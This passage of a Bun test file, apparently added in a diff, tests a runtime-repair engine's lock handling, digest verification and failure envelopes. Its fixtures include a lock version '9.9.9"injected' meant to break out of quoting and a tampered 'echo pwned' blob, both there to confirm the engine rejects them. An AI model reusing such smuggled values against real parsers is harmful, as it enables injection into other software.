expect(readEnvelope(result).code).toBe("UNSUPPORTED_PLATFORM") + } + expect(readdirSync(fixture.cacheDir)).toEqual([]) +}) + +// --- R10: missing host prerequisite ----------------------------------------- + +test("a missing host tool yields HOST_TOOL_MISSING with exit 21 and no mutation", () => { + const toolDir = makeToolDir({ unzip: null }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(21) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("HOST_TOOL_MISSING") + expect(String(envelope.nextAction)).toContain("unzip") + expect(readdirSync(fixture.cacheDir)).toEqual([]) +}) + +test("a malformed lock version yields a typed LOCK_INVALID envelope", () => { + const fixture = makeFixture({ lockVersion: '9.9.9"injected' }) + const preview = runEngine(fixture, ["repair"]) + expect(preview.exitCode).toBe(23) + const envelope = readEnvelope(preview) + expect(envelope.code).toBe("LOCK_INVALID") + expect(preview.stdout.toString()).not.toContain("injected") +}) + +// --- R17: ordinary help and closed command surface --------------------------- + +test("help prints usage on stdout and unknown commands are a typed usage error", () => { + const fixture = makeFixture() + const help = runEngine(fixture, ["help"]) + expect(help.exitCode).toBe(0) + expect(help.stdout.toString()).toContain("run ") + expect(help.stdout.toString()).toContain("repair") + expect(help.stdout.toString()).toContain("--reclaim-foreign-lock") + const unknown = runEngine(fixture, ["doctor"]) + expect(unknown.exitCode).toBe(2) + expect(readEnvelope(unknown).code).toBe("USAGE") + const unapprovedForeignReclaim = runEngine(fixture, ["repair", "--reclaim-foreign-lock"]) + expect(unapprovedForeignReclaim.exitCode).toBe(2) + expect(readEnvelope(unapprovedForeignReclaim).code).toBe("USAGE") + const missingSeparator = runEngine(fixture, ["run", "skill-a", "extra"]) + expect(missingSeparator.exitCode).toBe(2) + expect(readEnvelope(missingSeparator).code).toBe("USAGE") +}) + +// --- shared helpers for warm-state tests -------------------------------------- + +function applyRepair(fixture: Fixture): Record { + // stderr is a human-diagnostics channel and may carry lines (e.g. the + // corrupt-state diagnosis); the control object still lives on stdout alone. + const result = runEngine(fixture, ["repair", "--apply"]) + expect(result.exitCode).toBe(0) + return readEnvelope(result) +} + +function bundleReport(result: ReturnType): Record { + const report: Record = {} + for (const line of result.stdout.toString().trim().split("\n")) { + const separator = line.indexOf("=") + if (separator > 0) report[line.slice(0, separator)] = line.slice(separator + 1) + } + return report +} + +function hostId(): string { + return Bun.spawnSync({ cmd: ["uname", "-n"], stdout: "pipe" }).stdout.toString().trim() +} + +function startToken(pid: number): string { + // the engine always inspects processes under LC_ALL=C; the recorded token + // must use the same convention or lstart field order differs by locale + const output = Bun.spawnSync({ + cmd: ["ps", "-o", "lstart=", "-p", String(pid)], + env: { LC_ALL: "C", PATH: "/usr/bin:/bin" }, + stdout: "pipe", + }) + .stdout.toString() + .trim() + return output.split(/\s+/).join(" ") +} + +function writeLockRecord( + fixture: Fixture, + record: { pid: number; start: string; staging: string; host?: string }, +): string { + const lockDir = join(fixture.storeRoot, "locks", `bun-${fixture.lock.executableSha256}`) + mkdirSync(lockDir, { recursive: true }) + writeFileSync( + join(lockDir, "record"), + `host=${record.host ?? hostId()}\npid=${record.pid}\nstart=${record.start}\nstaging=${record.staging}\n`, + ) + return lockDir +} + +// --- AE4: missing -> preview -> approved apply -> retried run ----------------- + +test("AE4: repair preview states a plain action, approved apply installs, retried run passes through", () => { + const fixture = makeFixture() + const preview = runEngine(fixture, ["repair"]) + expect(preview.exitCode).toBe(0) + const previewEnvelope = readEnvelope(preview) + expect(previewEnvelope.ok).toBe(true) + expect(previewEnvelope.code).toBe("REPAIR_PREVIEW") + expect(previewEnvelope.sideEffects).toEqual([]) + expect(String(previewEnvelope.nextAction)).toContain("repair --apply") + expect(String(previewEnvelope.nextAction)).toContain("download") + // preview is read-only: still nothing in the cache + expect(readdirSync(fixture.cacheDir)).toEqual([]) + + const applied = applyRepair(fixture) + expect(applied.code).toBe("REPAIR_APPLIED") + expect(applied.sideEffects).toEqual(["published-runtime"]) + expect(applied.state).toEqual({ before: "missing", after: "valid" }) + expect(applied.runtime).toEqual({ + version: fixture.lock.version, + executableSha256: fixture.lock.executableSha256, + }) + expect(existsSync(fixture.blobPath)).toBe(true) + expect(statSync(fixture.blobDir).mode & 0o777).toBe(0o700) + expect(statSync(fixture.blobPath).mode & 0o777).toBe(0o700) + // staging and locks are cleaned up after publication + expect(readdirSync(join(fixture.storeRoot, "staging"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + + const run = runEngine(fixture, ["run", "skill-a", "--", "alpha", "two words"]) + expect(run.exitCode).toBe(0) + expect(run.stderr.toString()).toBe("") + const report = bundleReport(run) + expect(report.skill).toBe("skill-a") + expect(report.args).toBe("alpha two words") + expect(run.stdout.toString()).not.toContain('"schemaVersion"') +}) + +// --- AE12: launched bundle stdout/stderr/exit pass through unchanged ---------- + +test("AE12: a launched bundle's stdout, stderr, and exit status pass through unchanged", () => { + const fixture = makeFixture() + applyRepair(fixture) + const run = runEngine(fixture, ["run", "skill-a", "--", "exit7"]) + expect(run.exitCode).toBe(7) + expect(run.stdout.toString()).toBe("bundle-out\n") + expect(run.stderr.toString()).toBe("bundle-err\n") +}) + +// --- AE5: one shared verified digest across skills, offline ------------------- + +test("AE5: after one repair two skills share the same verified digest with no network", () => { + const fixture = makeFixture() + applyRepair(fixture) + // go fully offline: remove the archive the lock points at + rmSync(fixture.zipPath) + const runA = runEngine(fixture, ["run", "skill-a"]) + expect(runA.exitCode).toBe(0) + expect(bundleReport(runA).skill).toBe("skill-a") + const runB = runEngine(fixture, ["run", "skill-b"]) + expect(runB.exitCode).toBe(0) + expect(bundleReport(runB).skill).toBe("skill-b") + // exactly one shared blob + expect(readdirSync(join(fixture.storeRoot, "bun"))).toEqual([fixture.lock.executableSha256]) +}) + +// --- AE6: tampered blob never executes; denied repair preserves state --------- + +test("AE6: a tampered blob never executes, denied repair preserves state, approved apply restores", () => { + const fixture = makeFixture() + applyRepair(fixture) + const tampered = "#!/bin/sh\necho pwned\n" + chmodSync(fixture.blobPath, 0o700) + writeFileSync(fixture.blobPath, tampered) + + const run = runEngine(fixture, ["run", "skill-a"]) + expect(run.exitCode).toBe(20) + const envelope = readEnvelope(run) + expect(envelope.code).toBe("REPAIR_REQUIRED") + expect(envelope.retrySafe).toBe(true) + expect(run.stdout.toString()).not.toContain("pwned") + + // denied approval = preview only: no side effects, tampered bytes untouched + const preview = runEngine(fixture, ["repair"]) + expect(preview.exitCode).toBe(0) + const previewEnvelope = readEnvelope(preview) + expect(previewEnvelope.code).toBe("REPAIR_PREVIEW") + expect((previewEnvelope.state as { before: string }).before).toBe("corrupt") + expect(previewEnvelope.sideEffects).toEqual([]) + expect(readFileSync(fixture.blobPath, "utf8")).toBe(tampered) + + // approved apply verifies the replacement before publication + const applied = applyRepair(fixture) + expect(applied.state).toEqual({ before: "corrupt", after: "valid" }) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) + const retried = runEngine(fixture, ["run", "skill-a"]) + expect(retried.exitCode).toBe(0) + expect(bundleReport(retried).skill).toBe("skill-a") +}) + +test("approved repair replaces a directory-shaped corrupt blob destination", () => { + const fixture = makeFixture() + mkdirSync(fixture.blobPath, { recursive: true }) + writeFileSync(join(fixture.blobPath, "debris"), "not-a-runtime") + + const preview = runEngine(fixture, ["repair"]) + expect(preview.exitCode).toBe(0) + expect((readEnvelope(preview).state as { before: string }).before).toBe("corrupt") + + const applied = applyRepair(fixture) + expect(applied.sideEffects).toEqual(["published-runtime"]) + expect(applied.state).toEqual({ before: "corrupt", after: "valid" }) + expect(statSync(fixture.blobPath).isFile()).toBe(true) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) +}) + +test("a directory-shaped corrupt blob removal failure emits one envelope and cleans apply state", () => { + const realRm = Bun.which("rm") + if (!realRm) throw new Error("rm is required by the test fixture") + const toolDir = makeToolDir({ + rm: `#!/bin/sh +last='' +for arg in "$@"; do last=$arg; done +case "$last" in */bun/*/bun) exit 1 ;; esac +exec ${realRm} "$@" +`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + mkdirSync(fixture.blobPath, { recursive: true }) + writeFileSync(join(fixture.blobPath, "debris"), "not-a-runtime") + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual([]) + expect(envelope.retrySafe).toBe(true) + expect(statSync(fixture.blobPath).isDirectory()).toBe(true) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "staging"))).toEqual([]) +}, 10_000) + +// --- AE7: cold offline stays read-only; apply retries later ------------------- + +test("AE7: cold offline run stays read-only and apply fails retry-later, then succeeds with connectivity", () => { + const fixture = makeFixture({ url: "https://127.0.0.1:9/bun-fixture.zip" }) + const run = runEngine(fixture, ["run", "skill-a"]) + expect(run.exitCode).toBe(20) + expect(readEnvelope(run).code).toBe("BUN_MISSING") + expect(readdirSync(fixture.cacheDir)).toEqual([]) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(22) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("DOWNLOAD_FAILED") + expect(envelope.retrySafe).toBe(true) + // publishes nothing and leaves no debris + expect(readdirSync(join(fixture.storeRoot, "bun"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "staging"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + + // connectivity restored: same lock identity, reachable URL + writeFixtureLock(fixture, { ...fixture.lock, url: `file://${fixture.zipPath}` }) + applyRepair(fixture) + const retried = runEngine(fixture, ["run", "skill-a"]) + expect(retried.exitCode).toBe(0) +}) + +// --- AE8: concurrency, killed writer, live writer ----------------------------- + +test("AE8: concurrent applies publish exactly one valid blob and both callers end safely", async () => { + const fixture = makeFixture() + const spawnApply = () => + Bun.spawn({ + cmd: [fixture.engine, "repair", "--apply"], + cwd: fixture.root, + env: fixture.env, + stdout: "pipe", + stderr: "pipe", + }) + const first = spawnApply() + const second = spawnApply() + const [firstExit, secondExit] = await Promise.all([first.exited, second.exited]) + for (const exitCode of [firstExit, secondExit]) { + expect([0, 22]).toContain(exitCode) + } + expect([firstExit, secondExit]).toContain(0) + // one verified winner, no partial executable, no leftover locks or staging + expect(readdirSync(join(fixture.storeRoot, "bun"))).toEqual([fixture.lock.executableSha256]) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) + expect(readdirSync(join(fixture.storeRoot, "staging"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + const run = runEngine(fixture, ["run", "skill-a"]) + expect(run.exitCode).toBe(0) +}) + +test("AE8: repair fails closed when its process start identity cannot be established", () => { + const toolDir = makeToolDir({ ps: "#!/bin/sh\nexit 1\n" }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual([]) + expect(String(envelope.nextAction)).toContain("process inspection") + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "staging"))).toEqual([]) +}) + +test("AE8: a provably dead writer's lock is reclaimed with only its staging removed", () => { + const fixture = makeFixture() + // a reaped process: provably dead pid with a mismatching start token + const dead = Bun.spawnSync({ cmd: ["sh", "-c", ":"], stdout: "pipe" }) + const deadPid = dead.pid ?? 99999 + mkdirSync(join(fixture.storeRoot, "staging", "stalenonce"), { recursive: true }) + writeFileSync(join(fixture.storeRoot, "staging", "stalenonce", "bun"), "partial-bytes") + mkdirSync(join(fixture.storeRoot, "staging", "othernonce"), { recursive: true }) + writeLockRecord(fixture, { + pid: deadPid, + start: "Thu Jan 1 00:00:00 1970", + staging: "stalenonce", + }) + + const applied = applyRepair(fixture) + expect(applied.code).toBe("REPAIR_APPLIED") + expect(applied.sideEffects).toEqual(["reclaimed-stale-lock", "published-runtime"]) + // only the dead writer's staging was removed + expect(existsSync(join(fixture.storeRoot, "staging", "stalenonce"))).toBe(false) + expect(existsSync(join(fixture.storeRoot, "staging", "othernonce"))).toBe(true) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) +}) + +test("an abandoned stale-lock reclaim marker fails closed without unlinking inspected state", () => { + const fixture = makeFixture() + const lockDir = writeLockRecord(fixture, { + pid: 999999, + start: "Thu Jan 1 00:00:00 1970", + staging: "stalenonce", + }) + const marker = join(lockDir, ".reclaim-claim") + writeFileSync( + marker, + `host=${hostId()}\npid=999999\nstart=Thu Jan 1 00:00:00 1970\nnonce=dead-claimant\n`, + ) + const old = new Date(Date.now() - 2 * 60 * 1000) + utimesSync(marker, old, old) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual([]) + expect(envelope.retrySafe).toBe(false) + expect(String(envelope.nextAction)).toContain("approve removal") + expect(existsSync(marker)).toBe(true) +}) + +test("a live reclaim claimant remains protected after the grace period", () => { + const fixture = makeFixture() + const lockDir = writeLockRecord(fixture, { + pid: 999999, + start: "Thu Jan 1 00:00:00 1970", + staging: "stalenonce", + }) + const marker = join(lockDir, ".reclaim-claim") + writeFileSync( + marker, + `host=${hostId()}\npid=${process.pid}\nstart=${startToken(process.pid)}\nnonce=paused-live-claimant\n`, + ) + const old = new Date(Date.now() - 2 * 60 * 1000) + utimesSync(marker, old, old) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(22) + expect(readEnvelope(apply).code).toBe("LOCK_HELD") + expect(existsSync(marker)).toBe(true) +}) + +test("concurrent stale-lock reclaimers cannot claim a replacement lock", async () => { + const realMv = Bun.which("mv") + if (!realMv) throw new Error("mv is required by the test fixture") + const signal = join(temporaryDirectory("reclaim-contention-"), "record-published") + const release = join(temporaryDirectory("reclaim-contention-release-"), "continue") + const toolDir = makeToolDir({ + mv: `#!/bin/sh +${realMv} "$@" || exit $? +last='' +for arg in "$@"; do last=$arg; done +case "\${PAUSE_AFTER_LOCK_RECORD-}:$last" in +1:*/locks/bun-*/record) + : >"$LOCK_RECORD_SIGNAL" + while [ ! -f "$LOCK_RECORD_RELEASE" ]; do /bin/sleep 0.01; done + ;; +esac +`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + writeLockRecord(fixture, { + pid: 999999, + start: "Thu Jan 1 00:00:00 1970", + staging: "stalenonce", + }) + const spawnApply = (env: Record = {}) => + Bun.spawn({ + cmd: [fixture.engine, "repair", "--apply"], + cwd: fixture.root, + env: { ...fixture.env, ...env }, + stdout: "pipe", + stderr: "pipe", + }) + const first = spawnApply({ + PAUSE_AFTER_LOCK_RECORD: "1", + LOCK_RECORD_SIGNAL: signal, + LOCK_RECORD_RELEASE: release, + }) + try { + for (let attempt = 0; attempt < 500 && !existsSync(signal); attempt++) await Bun.sleep(10) + expect(existsSync(signal)).toBe(true) + const second = spawnApply() + expect(await second.exited).toBe(22) + } finally { + writeFileSync(release, "continue\n") + } + expect(await first.exited).toBe(0) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) +}) + +test("a stale lock replaced by a live writer is revalidated before reclamation", () => { + const realWc = Bun.which("wc") + if (!realWc) throw new Error("wc is required by the test fixture") + const liveHost = hostId() + const liveStart = startToken(process.pid) + const toolDir = makeToolDir({ + wc: `#!/bin/sh +count_file="$XDG_CACHE_HOME/lock-record-read-count" +count=0 +if [ -f "$count_file" ]; then IFS= read -r count <"$count_file" || count=0; fi +count=$((count + 1)) +printf '%s\n' "$count" >"$count_file" +if [ "$count" -eq 2 ]; then + for record in "$XDG_CACHE_HOME"/agent-plugin-runtime/locks/bun-*/record; do + printf 'host=%s\npid=%s\nstart=%s\nstaging=%s\n' '${liveHost}' '${process.pid}' '${liveStart}' 'livenonce' >"$record" + break + done +fi +exec ${realWc} "$@" +`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + const lockDir = writeLockRecord(fixture, { + pid: 999999, + start: "Thu Jan 1 00:00:00 1970", + staging: "stalenonce", + }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(22) + expect(readEnvelope(apply).code).toBe("LOCK_HELD") + expect(readFileSync(join(lockDir, "record"), "utf8")).toContain("staging=livenonce") + expect(existsSync(fixture.blobPath)).toBe(false) +}) + +test("a stale writer staging cleanup failure emits one envelope after freeing the lock", () => { + const realRm = Bun.which("rm") + if (!realRm) throw new Error("rm is required by the test fixture") + const toolDir = makeToolDir({ + rm: `#!/bin/sh +last='' +for arg in "$@"; do last=$arg; done +case "$last" in */staging/stalenonce) exit 1 ;; esac +exec ${realRm} "$@" +`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + mkdirSync(join(fixture.storeRoot, "staging", "stalenonce"), { recursive: true }) + writeLockRecord(fixture, { + pid: 999999, + start: "Thu Jan 1 00:00:00 1970", + staging: "stalenonce", + }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual(["reclaimed-stale-lock"]) + expect(envelope.retrySafe).toBe(true) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + expect(existsSync(join(fixture.storeRoot, "staging", "stalenonce"))).toBe(true) + expect(existsSync(fixture.blobPath)).toBe(false) + const retried = applyRepair(fixture) + expect(retried.code).toBe("REPAIR_APPLIED") + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) +}) + +test("a claimed stale-lock cleanup failure emits one envelope after clearing staging", () => { + const realRm = Bun.which("rm") + if (!realRm) throw new Error("rm is required by the test fixture") + const toolDir = makeToolDir({ + rm: `#!/bin/sh +last='' +for arg in "$@"; do last=$arg; done +case "$last" in */locks/reclaim-*) exit 1 ;; esac +exec ${realRm} "$@" +`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + mkdirSync(join(fixture.storeRoot, "staging", "stalenonce"), { recursive: true }) + writeLockRecord(fixture, { + pid: 999999, + start: "Thu Jan 1 00:00:00 1970", + staging: "stalenonce", + }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual(["reclaimed-stale-lock"]) + expect(envelope.retrySafe).toBe(true) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toHaveLength(1) + expect(existsSync(join(fixture.storeRoot, "staging", "stalenonce"))).toBe(false) + expect(existsSync(fixture.blobPath)).toBe(false) + const retried = applyRepair(fixture) + expect(retried.code).toBe("REPAIR_APPLIED") + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) +}) + +test("a foreign-host lock requires separate approval before bounded reclamation", () => { + const fixture = makeFixture() + mkdirSync(join(fixture.storeRoot, "staging", "foreignnonce"), { recursive: true }) + writeFileSync(join(fixture.storeRoot, "staging", "foreignnonce", "bun"), "partial-bytes") + const lockDir = writeLockRecord(fixture, { + host: "retired-host", + pid: process.pid, + start: startToken(process.pid), + staging: "foreignnonce", + }) + + const blocked = runEngine(fixture, ["repair", "--apply"]) + expect(blocked.exitCode).toBe(20) + const blockedEnvelope = readEnvelope(blocked) + expect(blockedEnvelope.code).toBe("FOREIGN_LOCK_REQUIRES_APPROVAL") + expect(blockedEnvelope.sideEffects).toEqual([]) + expect(blockedEnvelope.retrySafe).toBe(false) + expect(String(blockedEnvelope.nextAction)).toContain("--reclaim-foreign-lock") + expect(existsSync(lockDir)).toBe(true) + expect(existsSync(join(fixture.storeRoot, "staging", "foreignnonce"))).toBe(true) + expect(existsSync(fixture.blobPath)).toBe(false) + + const approved = runEngine(fixture, ["repair", "--apply", "--reclaim-foreign-lock"]) + expect(approved.exitCode).toBe(0) + const approvedEnvelope = readEnvelope(approved) + expect(approvedEnvelope.code).toBe("REPAIR_APPLIED") + expect(approvedEnvelope.sideEffects).toEqual(["reclaimed-stale-lock", "published-runtime"]) + expect(existsSync(lockDir)).toBe(false) + expect(existsSync(join(fixture.storeRoot, "staging", "foreignnonce"))).toBe(false) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) +}) + +test("AE8: a live writer's lock is never reclaimed", async () => { + const fixture = makeFixture() + const sleeper = Bun.spawn({ cmd: ["sleep", "60"], stdout: "ignore", stderr: "ignore" }) + try { + const lockDir = writeLockRecord(fixture, { + pid: sleeper.pid, + start: startToken(sleeper.pid), + staging: "livenonce", + }) + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(22) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("LOCK_HELD") + expect(envelope.retrySafe).toBe(true) + // the live writer's lock and record are untouched, nothing published + expect(existsSync(join(lockDir, "record"))).toBe(true) + expect(existsSync(fixture.blobPath)).toBe(false) + const explicitlyScoped = runEngine(fixture, ["repair", "--apply", "--reclaim-foreign-lock"]) + expect(explicitlyScoped.exitCode).toBe(22) + expect(readEnvelope(explicitlyScoped).code).toBe("LOCK_HELD") + expect(existsSync(join(lockDir, "record"))).toBe(true) + } finally { + sleeper.kill() + await sleeper.exited + } +}) + +test("AE8: a writer remains live when its start identity cannot be re-inspected", () => { + const toolDir = makeToolDir({ ps: "#!/bin/sh\nexit 1\n" }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + const lockDir = writeLockRecord(fixture, { + pid: process.pid, + start: startToken(process.pid), + staging: "livewriter", + }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(22) + expect(readEnvelope(apply).code).toBe("LOCK_HELD") + expect(existsSync(lockDir)).toBe(true) +}) + +test("a symlink-shaped repair lock is rejected without touching its target", () => { + const fixture = makeFixture() + const externalLock = temporaryDirectory("external-repair-lock-") + writeFileSync( + join(externalLock, "record"), + `host=${hostId()}\npid=999999\nstart=Thu Jan 1 00:00:00 1970\nstaging=stalenonce\n`, + ) + const lockRoot = join(fixture.storeRoot, "locks") + mkdirSync(lockRoot, { recursive: true }) + const lockPath = join(lockRoot, `bun-${fixture.lock.executableSha256}`) + symlinkSync(externalLock, lockPath) + + const applied = runEngine(fixture, ["repair", "--apply"]) + expect(applied.exitCode).toBe(20) + const envelope = readEnvelope(applied) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual([]) + expect(lstatSync(lockPath).isSymbolicLink()).toBe(true) + expect(readdirSync(externalLock)).toEqual(["record"]) + expect(existsSync(join(externalLock, ".reclaim-claim"))).toBe(false) +}) + +test("an unreadable existing lock record emits one envelope without reclaiming it", () => { + const toolDir = makeToolDir({ + wc: "#!/bin/sh\nexit 1\n", + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + const lockDir = writeLockRecord(fixture, { + pid: process.pid, + start: startToken(process.pid), + staging: "livenonce", + }) + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual([]) + expect(envelope.retrySafe).toBe(true) + expect(String(envelope.nextAction)).toContain("owner-readable") + expect(existsSync(lockDir)).toBe(true) + expect(existsSync(fixture.blobPath)).toBe(false) +}) + +test("AE8: a fresh recordless lock is treated as live and repair returns retry-later", () => { + const fixture = makeFixture() + // A writer between mkdir and its atomic record publish leaves a recordless + // lock. Within the grace window it must be treated as live: retry is safe, + // nothing is reclaimed or published. + const lockDir = join(fixture.storeRoot, "locks", `bun-${fixture.lock.executableSha256}`) + mkdirSync(lockDir, { recursive: true }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(22) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("LOCK_HELD") + expect(envelope.retrySafe).toBe(true) + expect(existsSync(fixture.blobPath)).toBe(false) + expect(existsSync(lockDir)).toBe(true) +}) + +test("AE8: a recordless lock older than the grace window is reclaimed (integer -mmin, BSD-safe)", () => { + const fixture = makeFixture() + // A writer that died before publishing its record leaves a recordless lock + // forever unless the grace window reclaims it. This is the exact path the + // fractional -mmin argument silently broke on macOS/BSD find; backdate the + // lock past the grace window and assert reclaim + publish. + const lockDir = join(fixture.storeRoot, "locks", `bun-${fixture.lock.executableSha256}`) + mkdirSync(lockDir, { recursive: true }) + const aged = new Date(Date.now() - 5 * 60 * 1000) + utimesSync(lockDir, aged, aged) + + const applied = applyRepair(fixture) + expect(applied.code).toBe("REPAIR_APPLIED") + expect(applied.sideEffects).toEqual(["reclaimed-stale-lock", "published-runtime"]) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) +}) + +test("a lock-record publication failure emits one envelope and releases the lock", () => { + const realMv = Bun.which("mv") + if (!realMv) throw new Error("mv is required by the test fixture") + const toolDir = makeToolDir({ + mv: `#!/bin/sh +last='' +for arg in "$@"; do last=$arg; done +case "$last" in */record) exit 1 ;; esac +exec ${realMv} "$@" +`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + expect(readEnvelope(apply).code).toBe("CACHE_ROOT_UNSAFE") + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "staging"))).toEqual([]) + expect(existsSync(fixture.blobPath)).toBe(false) +}) + +test("a staged chmod failure emits one envelope and releases apply state", () => { + const toolDir = makeToolDir({ + chmod: "#!/bin/sh\nexit 1\n", + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + expect(readEnvelope(apply).code).toBe("CACHE_ROOT_UNSAFE") + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "staging"))).toEqual([]) + expect(existsSync(fixture.blobPath)).toBe(false) +}) + +test("a post-publication staging cleanup failure still emits one envelope and releases the lock", () => { + const realRm = Bun.which("rm") + if (!realRm) throw new Error("rm is required by the test fixture") + const toolDir = makeToolDir({ + rm: `#!/bin/sh +last='' +for arg in "$@"; do last=$arg; done +case "$last" in */staging/*) exit 1 ;; esac +exec ${realRm} "$@" +`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual(["published-runtime"]) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "staging"))).toHaveLength(1) +}) + +test("a post-publication lock cleanup failure still emits one envelope after clearing staging", () => { + const realRm = Bun.which("rm") + if (!realRm) throw new Error("rm is required by the test fixture") + const toolDir = makeToolDir({ + rm: `#!/bin/sh +last='' +for arg in "$@"; do last=$arg; done +case "$last" in */locks/bun-*) exit 1 ;; esac +exec ${realRm} "$@" +`, + }) + const fixture = makeFixture({ hostToolDirs: toolDir }) + + const apply = runEngine(fixture, ["repair", "--apply"]) + expect(apply.exitCode).toBe(20) + const envelope = readEnvelope(apply) + expect(envelope.code).toBe("CACHE_ROOT_UNSAFE") + expect(envelope.sideEffects).toEqual(["published-runtime"]) + expect(sha256Hex(readFileSync(fixture.blobPath))).toBe(fixture.lock.executableSha256) + expect(readdirSync(join(fixture.storeRoot, "staging"))).toEqual([]) + expect(readdirSync(join(fixture.storeRoot, "locks"))).toHaveLength(1) +}) + +// --- run stays custody-read-only, including on a read-only cache -------------- + +test("run does not write into the custody store and launches from a read-only cache", () => { + const fixture = makeFixture() + applyRepair(fixture) + // Snapshot the store, then make the whole store tree read-only. A valid blob + // must still launch: run must not create any file under the store. + const before = readdirSync(fixture.storeRoot).sort() + const readOnlyPaths = [ + fixture.storeRoot, + join(fixture.storeRoot, "bun"), + fixture.blobDir, + join(fixture.storeRoot, "locks"), + join(fixture.storeRoot, "staging"), + ] + try { + for (const path of readOnlyPaths) chmodSync(path, 0o500) + const run = runEngine(fixture, ["run", "skill-a", "--", "alpha"]) + expect(run.exitCode).toBe(0) + expect(run.stderr.toString()).toBe("") + expect(bundleReport(run).skill).toBe("skill-a") + } finally { + for (const path of readOnlyPaths) chmodSync(path, 0o700) + } + // no new custody-store state was created by run + expect(readdirSync(fixture.storeRoot).sort()).toEqual(before) + expect(existsSync(join(fixture.storeRoot, "empty-bunfig.toml"))).toBe(false) +}) + +test("successful run creates no transient config directory", () => { + const fixture = makeFixture() + applyRepair(fixture) + const launchTemp = temporaryDirectory("runtime-launch-tmp-") + const run = runEngine(fixture, ["run", "skill-a"], { env: { TMPDIR: launchTemp } }) + expect(run.exitCode).toBe(0) + expect(readdirSync(launchTemp)).toEqual([]) +}) + +test("run restores the caller umask for the launched skill", () => { + const fixture = makeFixture() + 